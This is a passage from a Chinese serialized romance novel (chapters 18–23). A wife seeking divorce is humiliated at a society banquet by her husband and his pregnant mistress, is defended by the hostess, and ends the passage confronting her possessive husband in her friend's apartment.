陆勋之气笑,“宁穗,一条裙子至于吗?家里衣帽间里几百条裙子,就这条重要?到底谁送你的?” 宁穗气结。 说到底陆勋之还是为宋姜讨公道,觉得撕碎她的裙子还不够,还要变着法子恶心她。 宋姜连她的拖鞋都穿,家里的衣帽间,她会不碰吗? 难道要她穿着小三穿过用过的东西? 她不要。 “嫌脏。”宁穗懒得再说,闭上了眼。 完全当他是空气。 陆勋之沉默了几秒,冷哼一声,起身离开,门摔得震天响。 唐佳笑肩膀抖了一下,撇撇嘴,“没品。” 她赶紧上前去看宁穗,“穗穗,你没事吧?” 宁穗这才睁开眼,满脸歉意,“对不起啊,笑笑,我明天就会搬走。” 唐佳笑急了,“为什么呀?你怕他再来找你?那你更不能搬走了,有我在,还能帮你应付他。你自己在家,不就任由他欺负?刚才他还说要带你去医院做全面检查。” 宁穗脸色白了白,“可是我不想再连累你。你已经帮我很多了。” 唐佳笑有些生气,“你这是说什么话。初中的时候,要不是我护着我,我早就……” 她的声音哽住,宁穗眼睫颤抖,抱住她,“好了,我不搬走了,你别生气。” …… 医院里宋姜躺在病床上,一旁的白玲苦口婆心,“你下次别这么冒险,你现在还没出三个月,还在不稳定期。这孩子是你最后的筹码,别玩脱了。” 宋姜没所谓地摆摆手,“我有分寸。” 病房门被人推开,陆勋之带着一身寒气进来。 白玲尬笑两声,“陆总,那你们聊,我先出去了,宋姜,你现在身体虚,一定要好好休息。” 白玲快速离开,房间里寂静下来。 宋姜缓慢起身看向陆勋之,嘴角漾开笑意,“这么晚你还过来,我还以为你回去休息了。” 陆勋之缓步上前,居高临下地看着她,声音能滴出水,“你去景园做什么?” 第18章 陆勋之赔了一条裙子给她 宋姜心里咯噔一声。 晚上陆勋之送她来医院,全程守着她,怕她的身体出事。 并没有提起她为什么会出现在景园,她还以为陆勋之对这件事是默许的。 可没想到,大半夜他突然跑过来,竟然是问这个。 宋姜心里早就准备好了说辞,脸不红心不跳,“勋之,你现在一个人生活在那,连个佣人都没有,我担心你。就去看看,想帮你收拾收拾。” 陆勋之面色没什么变化,不知道是否相信她的说辞。 只淡淡地看着她,片刻后他视线微垂,床边是那双淡粉色拖鞋。 好像有点眼熟,但女士拖鞋大概都差不多吧。 陆勋之没多看,再次抬眼看向宋姜,“你现在的情况,不适合做家务,以后不要管了。” 宋姜心里很不舒服,这是不让她去景园的意思吗? 但她维持着表面的微笑,刚想说什么,视线一顿。 陆勋之领子上的纽扣好像缠绕了一根长头发。 宋姜笑容僵硬,这根头发…… 不是她的,她的头发是栗色的。 黑色的……那就是宁穗。 他们见面了? 难道刚才陆勋之出去,是找宁穗? 想到这,宋姜的心完全被怒气掌控,她倏地红了眼眶。 “你是生气我去景园吗?”宋姜声音好像因为压抑而有点哽咽,“是不是宁穗不高兴了啊?我知道,她不喜欢我。可她已经打了我,什么怨气也都出了吧?” 陆勋之的眉心微皱。 宁穗的怨气可没那么容易出,刚才还闹了一场。 他没回答宋姜的话,“你别想那么多,孩子重要,你好好休息。” 说完,他转身要走,突然一双手,抱住了他的腰身。 温软的身子贴到他后背上。 “勋之,你是不是烦我了?可是我也没有办法,我在宋家举步维艰,这些年,五年前,要不是你护着我,我早就死在宋家的祠堂了。宁穗从那次开始就恨我了是不是?” 陆勋之,“放开。” “我不。”宋姜摇头,看着陆勋之的侧后脸,但看不清他的表情,“勋之,这么多年,你在陆家的处境,就像我在宋家一样难。可宁穗什么都不知道,只有我懂你的难处,我愿意怀这个孩子,我都是为了你啊,勋之。” 她和陆勋之从小打到互相扶持,他们之间的感情,宁穗才几年,凭什么比。 陆勋之仿佛没有听到宋姜的话,垂着眸子,不知道在想什么。 他突然回神,双手拉住宋姜的手腕,毫不犹豫地推开她。 “你好好休息吧。”陆勋之没有回头看她一眼,转身走了。 宋姜跌坐在床边,一个人隐藏在暗夜里,孤独,寂寞,还有点冷。 手机亮起,那头发来了一个视频。 宋姜打开,视频中,护工在帮一个青年男子翻身。 男人的身体因为长期卧床,已经只剩皮包骨头。 但是保养良好,没有任何褥疮。 宋姜嫌恶地将手机扔出去,砸在墙角。 …… 宁穗后半夜睡得很不好,天蒙蒙亮她就惊醒,再也没睡着。 礼服裙彻底毁了,她该怎么去参加宴会。 要不干脆回景园找一条? 可是她昨晚刚说了那么硬气地说嫌脏。 今天再去,会不会被陆勋之趁机讽刺。 宁穗现在很懊悔,就不该跟自己较劲。 她手里没什么钱,还要还钱给陆勋之,她不想再浪费钱在衣服上。 好在她还有几条真丝裙,款式比较大方,勉强能应付过去。 可是她要跟桑甜怎么解释。 人家好心给她送来裙子,结果还没穿就坏了。 宁穗起床,唐佳笑已经去了工作室加班,让她好好在家休息。 宁穗正好准备一下晚上晚宴的礼物。 房门被敲响,宁穗没马上开门,以为是快递,“放门口吧,谢谢。” 对方却又再次敲门。 宁穗起身走到门口,看到门外站着几个人,打扮精致,手里抱着名贵的礼盒。 她疑惑了一下还是开了门。 领头的女人露出职业微笑,“请问是宁女士吧?我们是品牌方给您送礼服来的。” 宁穗茫然,“我没有定礼服。” “是陆先生给您定的。” 宁穗一愣,陆勋之是要赔给她礼服吗? 她还想硬气一下,但是想想算了,活该让陆勋之花钱。 “谢谢。”她接过来,谢绝了SA要陪她试穿的建议。 硕大的盒子放在沙发上,宁穗沉默了一会儿,才打开看。 淡粉色的礼服,低调又华贵。 宁穗的皮肤很白,穿这个颜色,会更显贵气。 这个牌子不是便宜货。 陆老太太经常会让人送这个牌子来给宁穗挑。 她对奢侈品没什么太大兴趣,每次也只挑几件当季款,且比较日常的,其实也没怎么穿过。 但是她记得很清楚,这个品牌的礼服裙都是限量款,一个款式颜色,只出一款。 就是因为客户群高端,尤其是在重要场合,客户们都不喜欢撞款。 穿这个裙子去周家的宴会,至少不会失礼。 但陆勋之为什么要帮她? 昨晚他明明那么生气。 算了,宁穗懒得想,她一直都猜不透这个男人。 以前她还会花心思想要了解他。 现在,她没兴趣了。 …… 宁穗穿着礼服,外面套了大衣,打了一个车到周家的庄园。 周夫人在圈子里的人缘很好。 就是因为她善于以这样的宴会来拉拢关系。 为周氏和周先生,做好了贤内助。 很多名门太太在家里也有话语权,枕边风一吹,一场合作可能就成了。 毕竟周家的实力也在那摆着。 宁穗到的时候,桑甜就在门口跟着周夫人一起迎接客人。 看到宁穗穿的裙子,桑甜也只是多看了几眼,很得体的,没有问她为什么没穿桑甜给的裙子。 “这身很衬你的肤色。”桑甜小声说,显得两人关系非常熟稔。 “谢谢。” 宁穗最近瘦了很多,脸色不好,这条裙子的颜色,确实能衬的她脸色好一些。 桑甜笑笑,“别客气。” “我给周夫人准备了一件小礼物。”宁穗拿出来。 桑甜点头,“一会儿你亲自给我妈,她肯定会喜欢的。” 她顿了一下,给宁穗吃了定心丸,“你送什么,她都会喜欢的。” 第19章 正室,侧室 宁穗心里一暖,周夫人和桑甜的性格有些相似,都是很温柔很体贴的人。 在五年的豪门生活里,是为数不多对宁穗展现善意的人。 其他人都是看郑美婵的脸色,明里暗里会欺负她。 她不在意那些人的恶意,但是她感激对她好的人。 这些日子,她受了太多打击,宁穗硬撑着。 在给自己温暖的人面前,宁穗有一瞬间的柔软,她微微点头,“谢谢周夫人,谢谢你,桑甜。” 桑甜笑笑,让佣人带宁穗先进了内堂。 宁穗找了一个角落坐下,拿了茶饮喝起来。 没一会儿入口处就传来一阵说笑声。 宁穗下意识地看过去,冷了脸。 郑美婵竟然带着宋姜过来。 宁穗的视线落在宋姜身上,随即一愣。 宋姜的衣服,跟她身上的款式很像,像是同期设计的作品。 但是颜色,确实正红色。 宁穗低头看自己的裙子,她的颜色玫红偏粉。 她这么多年研究内画艺术,非常了解古代民俗文化。 正室穿正红色,而侧室和妾,才会穿这种红不红粉不粉的颜色。 宁穗的手缓缓蜷成拳头。 她不断安慰自己,都是巧合。 陆勋之一个男人不会在意这些细节。 大概率衣服都不是他挑的。 可很快,她哄骗自己的谎言就被戳穿。 有人问郑美婵,怎么带这宋姜过来。 郑美婵笑着挽住宋姜的手,“我俩最投缘了,我家勋之从小跟宋姜一起长大。这不,连今天穿来的礼服都是勋之亲自挑的。” 陆勋之跟宁穗结婚的事,没有发公告。 外界不知道。 但是圈子里的人,尤其是今天来参加宴会的,基本都知道。 也都看出来这几年,郑美婵对这个儿媳妇,并不在意。 但是没想到,会公然带着宋姜招摇。 有几个躲在一边的贵妇人小声聊,“宋姜穿着正红色的裙子,这不就是正牌女友?” “什么正牌女友啊,还不是小三,都没离呢。” “呵呵,陆勋之的那个老婆,谁不知道郑美婵根本不在乎的,离婚那不是早晚的事?” 屏风挡住了宁穗,她将几人的讨论声全数听在耳朵里。 她没有误会,陆勋之就是故意的。 故意撕坏她的裙子,又故意送这个裙子给她。 让她来衬托宋姜正室的地位吗? 真的太欺负人了。 宁穗起身,目不斜视地走出去,路过那几个夫人,几人才后知后觉自己说错了话,纷纷闭嘴。 可大家看到她身上的裙子,面色怪异地互相交换眼神。 他们也都看出来,裙子里的玄机。 是啊,都是豪门太太,全是人精,打小三的事,谁也没少干,会不明白这裙子的含义吗? 宁穗全当没看见。 她自己的生活过成这样,别人想说,她也管不了。 她去了洗手间,冷水洗脸,冷静了下来。 今天她不是来出风头的,只是想跟周夫人走走关系。 周夫人名下有艺术馆,也许她能通过周家,联系几个大单,她欠陆勋之的钱,甚至自己的看病钱,都能凑够。 别的都不重要。 宁穗看着镜子中瘦削的自己,不断地安慰自己。 她连陆勋之都不要了,还在乎这个陆太太的头衔吗? 可这么多年的付出,全都被人当做垃圾踩在脚下,她的心还是会疼。 疼得喘不上气。 宁穗深呼吸了好几下,才压下那股难受。 洗手间的门被人推开。 宁穗低下头,暗暗擦掉眼角的湿润。 那人走到旁边开始洗手。 “饿坏了吧。”桑甜的声音传来,温温柔柔,很是好听,“是我失职了,走,我带你先去吃点东西。” 桑甜看了一眼周围,虽然没人,但她还是像说悄悄话一样,“别人吃不到。” 宁穗眼底再次发热,挤出笑容,“好。” 宁穗跟着桑甜去了她的那栋楼。 “你的衣服都湿了,我给你准备了新的,去换下来吧。”桑甜拿了一件给她,“这件虽然不如你这件名贵,但也很衬你的肤色。” 宁穗点头,“好,谢谢。” 桑甜带她去了客房。 关上门,宁穗看着手上的裙子。 一个见过几面的朋友,都要比陆勋之对她更体面。 宁穗深吸一口气,压下了眼底的湿润。 她没耽搁,很快换好了衣服出去,却晃见一个男人快步离开。 桑甜失魂地跌坐在沙发上,捂住了脸。 身影看上去很萧索。 宁穗见过那个男人,是桑甜的老公,周南昭。 她又默默退了回去,给桑甜留下一点空间。 豪门生活哪有那么多一帆风顺。 两人相敬如宾实属不易,更别说恩爱了。 宁穗心里那股痛又涌上来。 她和陆勋之不也一样吗? 手机震动,宁穗抹了一把眼角,拿出来看,是陆勋之,【在哪儿?】 宁穗冷漠地看了一眼,随即摁灭手机,没有回复。 是想让她赶紧去给宋姜做陪衬吗? 一定要用她的自尊,在做宋姜的垫脚石? “宁穗,你换好了吗?”桑甜隔着门板问。 宁穗快速调整情绪开门,“好了。” “很漂亮。”桑甜又恢复了优雅,刚才的狼狈仿佛是宁穗的错觉,“走吧,大堂那边的宴会要开始了。” 两人一起回到大厅。 大家正在给周夫人献礼。 周先生在另一边跟男士们一起半商务半休闲的会谈,大儿子周北暄跟在身旁。 而二儿子周南昭混不吝地坐在周夫人旁边。 即便有长辈来献礼,他也是那副风流公子模样。 “周夫人,这是我给您准备的礼物。”宋姜笑得甜美乖巧,手中的礼盒,更是包装得华贵非凡,一看就价格不菲。 周夫人得体的笑笑,接过去说:“有心了。”说着她随手便交给了旁边的周南昭。 连打开的意思都没有,这是打宋姜的脸。 后者脸色一僵。 站在她身侧的陆勋之不知道在看什么,似是在招人。 衣角被人拉了一下,陆勋之才回过神,眉眼间有些烦躁。 宋姜咬着唇看他,用眼神示意周夫人,不给她面子。 陆勋之扫了一眼周夫人那边,视线落在周南昭身上。 他自小就跟陆治之玩得好,陆勋之也没少带他们一起,他一个眼神,周南昭便心领神会。 男人修长好看的手指一番,盒子打开。 周南昭呦了一声,“老妈,很精致呢。” 所有人的视线都被周南昭这句话吸引过去。 周家二公子什么没见过,他夸奖的,那必然是好东西。 宁穗看了一眼,面色沉了下来。 第20章 宠妾灭妻 宋姜居然送了一个内画球,虽然款式跟宁穗之前做的有所不同,但同样画的是仕女图。 只不过宋姜的内画球比较大,这种画作空间比较大,画起来比较容易一些。 而之前宁穗选的胚子比较小巧,画起来更考验画工,也更耽误时间。 所以宋姜故意弄坏了她的礼物,自己却盗用了宁穗的创意。 到底不是常见的手工品,乍一拿出来,大家都惊叹不已。 “确实精致。” “这在世面上也买不到,也是独一份。” “那可真是有心了。” 大家的夸赞此起彼伏,宋姜微微昂起下巴,找回了几分面子。 “老妈,你看看。”周南昭递给周夫人。 周夫人暗暗瞪了他一眼,真是搅局。 她就不信了,周南昭不知道她刚才是故意的? 陆勋之带着宋姜招摇过市,那宁穗算什么? 名门里的太太们,哪个不痛恨小三? 即便宁穗是个普通关系的人,周夫人也看不过这种宠妾灭妻的行为。 更别说,她一直很喜欢宁穗。 当年还是她先发现了宁穗的才华,想要资助的时候,被郑美婵抢了先。 那时候宁穗还在上大学。 其实周夫人是有意培养宁穗做自己的大儿媳妇。 可惜,造化弄人。 如今看到宁穗遇人不淑,她当然要帮一把。 周夫人接过去,左右看看,创意倒是精巧,只可惜,做工还是不如宁穗的好。 她刚想说什么。 周南昭拖着调子说:“老妈,我怎么记得,你还有个更好的?是不是藏起来了?给大家看看啊。” 周夫人一愣,随即看到周南昭变戏法似的,从兜里掏出一个小玩意,与他掌心差不多大。 成椭圆形,圆润小巧,上面的画了几朵百合花,简单几笔,但典雅有层次。 花朵仿佛风一吹就会摆动起来,灵动非常。 来客有懂行的,直接惊呼出声,“这手艺,童子功。二少,我可以看看吗?” 周南昭递给他。 那人在手掌间把玩了一会儿,惊叹道,“哎呀,我是出现幻觉了吗?我还闻到了花香呢。” “你真是狗鼻子。”周南昭戏谑道,“里面加了助眠的香料。” 已经五十岁,被称作狗鼻子的赵老,“……” 但周南昭一直都是这个性子,难招惹得很,没人会真跟他生气。 更何况这还是在周家。 赵老注意力都在这宝贝上,也顾不上跟这猴崽子计较,一直啧啧称赞。 其他人一看对古玩有研究的赵老都这么说,也都拿过去看。 一传十,十传百。 大家都知道这个好东西,是真的牛。 再传回周夫人手中的时候,周夫人眼角都笑开了花,“宁穗,谢谢你送我这么贵重的东西,你真是好孩子,知道我睡眠不好,真是有心了。” 所有人的目光都顺着周夫人的视线,落在宁穗身上。 桑甜笑着看向宁穗,暗暗捏捏她的手,鼓励她。 宁穗后知后觉,周家人这是在欲擒故纵,都在帮她。 她缓步上前,温婉笑着看向周夫人,“您太客气了,您喜欢就好。” 周夫人拉了宁穗过去坐在身边。 一旁的宋姜再也维持不住。 这跟她想的不一样,本应该她被夸奖的。 凭什么是宁穗。 她怎么可能在这么短的时间内,又准备了一个礼物。 香料…… 宋姜突然想到,王习的母亲就是调香大师。 她暗暗看了一眼陆勋之,后者的眼里,明显是有些惊讶在。 他似乎也没想到宁穗会受到周夫人这样的重视。 但他没有丝毫的厌恶,反而有几分欣赏。 宋姜心底的怨恨达到顶峰。 她深吸一口气,强迫自己冷静下来,走上前,很是有礼貌地问,“宁穗,你好厉害,这个香料很不错,我也想买一点给郑阿姨用,她睡眠也不太好。” 一句话将宁穗架上去。 你看,你有这么好的东西,居然不给自己的婆婆用,却拿出来献宝。 是什么心思? 宁穗缓缓抬眼看向宋姜,对方微笑的眼底却全是敌意。 她余光扫见郑美婵浑身的怒气,要不是因为在周家。 她毫不怀疑,郑美婵会手撕了她。 到现在没发作,完全是因为顾忌周夫人的面子。 可宋姜偏要将这件事抬到桌面上来。 在周家的地盘,无论宁穗说什么,都是在打主人家的脸。 她抿唇看向陆勋之,没有说话。 男人眉心拧出疙瘩,表情并不好。 那就也是在怨她了? 凭什么? 她只是对照顾自己的长辈好而已。 宁穗收回目光,垂了眸子。 耳边传来周南昭混不吝的声音,“这就是你不对了,三哥,宁穗准备的不就是你准备的?居然不给郑阿姨准备一个,还要外人来提醒。” 话是对陆勋之说的,打的却是宋姜的脸。 宋姜的笑意僵在脸上。 一句话将她的身份,直接钉在门外。 外人。 她只是一个外人。 宋姜脸色不好,突然捂住肚子,求助地看向陆勋之。 男人比她还黑,睨了一眼周南昭,随即拉了宋姜的胳臂,将人带走。 丢人的明明是他们。 可宁穗的脸火辣辣的疼。 大众之下,陆勋之还是选择先保全宋姜。 她的手指尖嵌进掌心。 突然,周夫人的手握住她的手背,她怔怔看向对方。 周夫人微笑点头,很温暖。 “行了,散了吧,都吃饭吧。不然回头外边该说我们周家不管你们饭。” 众人自然懂什么意思,也就散了。 郑美婵走过来,“宁穗,你跟我过来。” 宁穗垂着眸子,并未应声。 周夫人看了她一眼,随即看向郑美婵,“美婵,我还想跟宁穗了解下香料的事。” 郑美婵一噎,她总不能驳面子,她勉强扯唇,快步离开。 直接离开了晚宴。 等佣人来汇报,说她不舒服先走了。 周夫人只摆摆手,“随她。” 她转而对宁穗说:“郑美婵年轻的时候就拎不清。” 她似是想到什么,没继续说:“宁穗,你随便转转,不用在我这闷着。” 宁穗正想出去透透气,“谢谢您。” 今天送礼点到为止,给周夫人留下好印象,请周夫人给资源的事,要慢慢来。 宁穗起身去了花房那边。 周夫人也爱花,花房里的花开得正艳,哪怕是在深秋,依旧芳香四溢。 她待在这,感觉有一瞬间的宁静。 突然一双手臂从身后,压在她两侧,男人滚烫的身躯凑到她身后,将她框在方寸之间。 第21章 不喜欢了 宁穗知道是陆勋之。 他身上的味道,对她来说太过熟悉,仿佛刻进了骨子里。 “为什么没穿我送你的裙子?”陆勋之问。 宁穗眼睫颤动,“裙子是你选的?” 陆勋之顿了下,他让助理去选的,对方选好之后,给他发了照片确认。 他只觉得裙子很好看,颜色很衬宁穗的肤色。 想到这,陆勋之垂眸看她的脖颈。 她的脖颈修长挺直,天鹅颈一样,特别好看。 皮肤也吹弹可破,白皙中透着淡淡的粉。 男人眼底暗了暗,“对。” 宁穗使劲闭上眼。 原来他真的是故意的。 钻头在她的心口上钻,她呼吸都是痛的。 她想问为什么,可是问了又能怎么样? 不过是自取其辱。 她现在连骂陆勋之的兴趣都没有。 对他的失望已经攒够了。 “明天你有空吗?”宁穗声线没什么起伏。 陆勋之眼底闪过一丝喜悦。 很淡,但是对他来说,已经是很大的情绪。 他唇角微微勾起,但下一秒便僵住。 “明天去民政局吧。” 领离婚证。 陆勋之眼底瞬间集聚起一股风暴。 随时会爆发。 今天他看到的宁穗很不一样。 他已经好几年没有见过这样的宁穗。 上学的时候,第一次见她,就是在新生欢迎会上。 宁穗作为新生代表发言,还现场给大家表演了内画艺术。 在古风的背景音乐下,宁穗用了十分钟的时间,便画出一幅花鸟图。 她当时穿着汉服,简直就像是古画里走出来的仙子。 可如今的宁穗见到他,好像只剩离婚两个字。 他的生活,有种失去掌控的感觉。 这让他很不舒服。 甚至有一丝慌乱。 “没空。”男人直接拒绝。 宁穗也急了,她转过身对着他,仰头看他,语速非常快,“你不离婚,还一直在侮辱我。陆勋之,我是犯了天条吗?你要这么对我!嫁给你,真是我这辈子做的最后悔的事。” 宁穗眼眶里蓄满了眼泪,要掉不掉,就这么隔着朦胧望着他。 陆勋之眼底的风暴几乎要迸发出来。 他倏地抬手握住温泠修长的脖颈,没有用蛮力,但也迫使宁穗仰头。 突然的动作,震掉了宁穗眼角的泪水。 啪嗒! 滚烫的泪珠落在陆勋之的手背上,“宁穗,后悔嫁给我?还是后悔没有跟别人走?” 宁穗眼睛一怔,为什么非要给她盖这种莫须有的罪名! 强烈的愤怒和羞耻,瞬间冲上来,夺走了她的理智。 啪! 陆勋之的脸被打偏,男人却没动,鼻腔里哼笑一声。 他极缓慢地转过脸,睨着宁穗,眼底的偏执和阴鸷,有些骇人。 嘴角却挂着笑。 割裂到让人心惊。 “宁穗,条件都谈好了,不是吗?” 宁穗浑身止不住颤抖。 五百万。 陆勋之明知道她拿不出来。 她现在甚至觉得,对方就是在故意难为自己。 可她想不通,既然不爱她,为什么要这么拖着她? 宁穗突然笑了,眼底的泪花晶莹欲坠,“陆勋之,你就是想逼死我是吗?” 陆勋之一愣,觉察到她的绝望和死气,一股烦躁上来。 宁穗不应该这样,这几年不管他冷脸成什么样,她都是笑盈盈的,满心满眼都是他。 她就应该一直生动鲜活。 宁穗点点头,“我死了,你和宋姜就能双宿双飞了是吗?那我现在跟你离婚,给你们腾地方不好吗?你还有什么不满意的?” 陆勋之捏住她的下巴,“你吃醋?” 宁穗真的被他的逻辑气笑了,“喜欢你才会吃醋。我为什么要吃。” 陆勋之脸色彻底黑下来,“你当初非要做这个陆太太的时候,是怎么说的?你跟奶奶说,你这辈子都是陆太太。” 宁穗想说,人是会变的。 可是陆勋之没变啊,他一直都只喜欢和在乎宋姜。 而他们的婚姻就是一个错误。 应该纠正了。 宁穗推开陆勋之,绕过他要走。 但是腰上一个力道,将她扯回去。 随即疯狂的吻砸下来。 “陆勋之,你疯了!”宁穗含糊反抗,“这是在周家!” 来来往往都是人,随时会被人看到。 他不要脸,宁穗还要呢。 男人像是压抑了很久,整个人因兴奋而紧绷。 宋姜现在还没到安稳期,他一定是压抑太久了。 可她凭什么做那个泄的工具? 她也是人,这么多年的痛苦压抑吞没了宁穗。 有一瞬间,她甚至觉得自己死了算了。 这一切痛苦都会结束,她不用再受辱,不用再挣扎。 心中的那根弦,砰的一声断掉了。 怀里的女人突然软了下去,整个人往下坠。 陆勋之骂了一声,拦腰抱起。 客房是套间,宁穗躺在床上,陆治之帮宁穗做了检查。 “哥,我这才回国,第一次见嫂子,怎么瘦成这样啊?”陆治之是陆勋之的堂弟,学医出身,在陆家的医院做主任。 医术可以,但是嘴碎。 跟周南昭的关系好到穿一条裤子长大。 陆勋之斜睨他,“她胖瘦你也知道?” 陆治之一噎,“我是你弟啊,我的醋你也要吃?” 陆勋之没搭理他,视线落在宁穗身上。 她以前也不胖,但是那种苗条的身材,该丰润的地方一点都不柴。 可三个月没见,她真的瘦了好多。 盖在被子下,薄得仿佛纸片一样。 “嫂子是低血糖了。”陆治之转身看向站在门外的周南昭,“你们周家不管我嫂子吃饭吗?” 门外的周南昭笑着骂了一句,“是饿的还是气的啊,你们陆家倒是会倒打一耙。” 陆治之扁扁嘴,刚才他来得晚。 听说大伯母郑美婵说这里空气不流通喘不上气,直接走了。 倒打一耙肯定是在说郑美婵咯。 陆治之还是有点怕自己大哥的,但还是耐不住八卦的心。 他扫了陆勋之一眼,语气里是看热闹不嫌弃事大,“哥,你跟嫂子怎么回事?真要离啊?” 陆勋之,“不会。” 陆治之点头,“也是,现在董事会那边成天找事,你现在要是离婚,对股市肯定有影响。” 陆勋之没了耐心,“你这么担心家业,干脆回来干。” 陆治之两手摆出残影,“别搞我!” “行了,出去吧。”两人一前一后出去。 躺在床上的宁穗,缓缓睁开眼睛,虚空望着天花板。 第22章 陆勋之,你是不是有病! 怪不得陆勋之一直拖着她,不肯离婚。 原来是担心自己在公司里的支持率。 刚才宁穗晕倒的一瞬间,她在陆勋之脸上看到了惊恐。 是那种害怕失去的恐慌。 宁穗甚至生出一点点念头,他还是关心自己的。 她突然笑了,拍拍自己的脑袋,恋爱脑啊,狗都不吃。 …… 陆勋之留下助理盯着,等宁穗醒了,送她回家。 公司临时有事,他准备回公司。 陆治之送他出去。 “哥,我刚才听说,你家宋姜穿的大红色,我嫂子穿的是粉色?” 陆勋之的脚步一顿,脸色嫌恶,“重新说。” 陆治之一懵,哪句啊? 但这都不是重点,他坏笑,“哥,你知不知道,古代正室才穿大红色,这种不正的红色是给小妾穿的。” 陆勋之明显愣了一下,随即他黑了脸,语气特别恶劣,“你被裹小脑了?” 说完不再理他,快步离开。 刚走到门口,司机已经把车停在这等他。 陆勋之开门上车,刚迈上去一条腿,看到路边停着一辆车,他眯了眯眼睛。 对方似是觉察到他的注视,落下车窗,王习的脸露了出来。 两个男人对视了几秒,火花四溅。 陆勋之下颌紧绷,摔门上车,对司机说:“开车。” 王习看着车子离开,缓缓关上车窗,没什么表情地打开手机,宁穗的信息跳出来,【我马上出去。】 王习,【好。】 几分钟后,宁穗上了车,“师兄,不好意思,麻烦你了。” 她现在只想快点离开,可是这里是别墅区,根本叫不到车。 唐佳笑去隔壁市见客户,也来不及接她。 王习笑的温和,“跟师兄还这么客气。” 他抬手轻轻揉了揉宁穗的发顶,一脸宠溺,“小时候跟着师父去乡下采风,过河的时候,你不想沾湿鞋子,不都是师兄背你吗?” 宁穗小时候跟着师父学艺,师父带着几个徒弟,都比宁穗大,她是最受宠的小师妹。 要什么,师哥都给。 母亲那时候还没跟她闹僵,可以说,宁穗的童年,除了在孤儿院那段日子,其他时候都是幸福的。 想到这些,宁穗一看当下自己过的日子。 她突然就红了眼。 王习吓了一跳。 宁穗很少在他面前哭。 以前是过得很顺,她不会哭。 后来嫁给陆勋之,她过得不好,但是她从来不跟王习说。 王习看得出来,但也没说破。 现在居然哭了。 王习手忙脚乱地抽了纸巾递给她,“师兄说错话了?” 宁穗胡乱摇头,眼泪被甩掉,她咬着唇没说什么。 不远处的大树下,幻影并没有走,陆勋之隔着挡风玻璃,将两人互动的样子看在眼底。 他哼笑一声,眸中却丝毫笑意没有,酝酿的风暴一触即发。 车门被拉开,唐桓上车,“陆总,太太说……她朋友来接,不用我送。” 王习的车子缓缓开出去。 陆勋之收回视线,“太太的裙子是你准备的?” 唐桓一愣,没想到他突然问起这个,点头道,“是。我去取裙子的时候,宋小姐也在,两个裙子,她先选的。” 他一个直男懂什么,SA推荐说这两款是店里最好的,独一无二。 陆勋之抿唇没说什么。 宁穗没有回家,让王习送她去了唐佳笑的工作室。 唐佳笑给她匀出一间,让她专心做作品。 既然要跟陆家切割,她就从郑美婵给她准备的工作室搬出来。 不得不说,郑美婵为了宁穗的作品,给的材料都是好的,就是工作环境差点。 那些宁穗都没拿,不想在郑美婵那里落口实,她只带走了自己偷偷做的几个小玩意。 这些没让郑美婵知道,不然她肯定会要走。 今晚桑甜偷偷告诉她,说过一阵子有个慈善晚会。 宁穗要是能拿着作品去,以周夫人的名义拍卖,作品一定会名声大噪。 到时候,借着这个机会,周夫人可以再帮宁穗推一波。 桑甜还说,要是宁穗愿意,她可以私人资助宁穗开工作室。 今晚不只是宁穗自己一个人战斗。 周夫人也好,桑甜也罢,也是在通过宁穗,来去跟那些企图要爬周家床的人,一个警示。 在这一点上,所有的正室太太们,都是一个战线。 但是对宁穗来说,赢不赢宋姜已经不重要,她也不想要陆勋之。 她只想赶紧赚够五百万,还给陆勋之,赶紧离婚,恢复自由。 想到这个,宁穗浑身发热,她终于等到这个机会。 宁穗在唐佳笑的工作室,待到了十二点。 她的设计框架有了雏形,才依依不舍地放下笔。 她现在身体不好,不能再熬夜折腾,只能先回家休息。 走出工作室就看到大厅里坐着的王习,宁穗一愣,“师兄,你怎么还没回?” 王习笑着起身,“我看你急匆匆来,是有灵感了吧?你从小就这样,灵感来了不管不顾,我怕你一个人回去不安全。走吧,我送你。” 宁穗眼眶有些湿,使劲眨眼,“谢谢师兄。” “跟师兄还客气什么。” 王习很绅士,只送宁穗到楼下,便走了。 宁穗上楼开门进屋,开灯的一瞬间,看到沙发上坐着一个人,吓得她叫出声。 她的心都快跳出来,在看清陆勋之的脸时,她气急败坏,“陆勋之,你是不是有病!” 黑着灯,坐在这,一声不吭,像个鬼。 宁穗突然想到什么,脸色一白,“你怎么进来的?你这是私闯民宅,快走,不然我报警了。” 陆勋之似是听到什么笑话,嗤笑一声,缓步起身。 皮鞋踩在地板上,发出怵人的声响。 他走到宁穗跟前,将她逼到墙角,突然掐住她的下巴,迫使她抬头看着自己。 “就因为裙子跟我闹?一条裙子,至于吗?”陆勋之眼底满是不解,他微微偏头,点了一下身后的方向。 “你喜欢红色,我给你买了,喜欢吗?” 宁穗顺着看过去,倏地睁圆了眼睛,后背起了一层鸡皮疙瘩。 沙发上满满当当摆着十几个礼盒。 礼盒里面放着样式不同的裙子,但无一例外,都是正红色的。 “陆勋之,你疯了吧。”宁穗的声音有些颤抖,她看到陆勋之眼底的阴鸷和疯狂,跟平时的他,完全不同。 陆勋之冷不丁笑出声,他凑到宁穗耳边,声音恶劣,“你这么晚才回来,跟王习,做什么去了?” 他把做字,念得很重。 第23章 你死也是陆家的鬼 宁穗觉得自己已经可以,很冷静地面对陆勋之。 但他总是能轻易挑起她的情绪。 宁穗声音气得发抖,“陆勋之,我们没有你那么龌龊!” 陆勋之眼眸半垂,透着森寒,嘴角勾起弧度,却一点笑意都没有,他一字一顿,“我们?这么快就叫上‘我们’了?你还记得自己是已婚的吗?” 宁穗嘲讽地笑笑,“你也知道是已婚吗?那你呢?你和宋姜弄出一个私生子来的时候,怎么没想想自己的已婚身份?” 宁穗表面上坚强,可垂在身侧的手,已经颤抖起来。 在乎的人,才会先溃不成军。 她提起这件事,心还是会痛,会滴血。 这还是宁穗第一次正面跟陆勋之对质宋姜怀孕的事。 她本以为陆勋之脸上会有一丝丝的悔过之意。 可是陆勋之只是愣了半秒,“你已经知道了?” 平静得像是在问宁穗今晚有没有吃饭。 宁穗的心瞬间如坠冰窖,浑身的血液都在倒流一般。 可下一秒,陆勋之又丢出一记重锤,“宋姜的孩子不是私生子。” 宁穗怔住,身体摇摇欲坠,靠在墙边才勉强站住。 她的孩子不是私生子,那就是要娶她了? 母亲名正言顺,孩子自然就不是私生子。 宁穗使劲闭了下眼睛,耳朵里嗡嗡作响。 她似乎听到陆勋之说了句裙子的事,还让她不要因为这种小事跟宋姜计较。 可宁穗根本听不进去。 这些事还重要吗? 不过是陆勋之宠爱宋姜的证据而已,她不想听。 “你给我滚。”宁穗平静地说出这句。 打断了陆勋之的话。 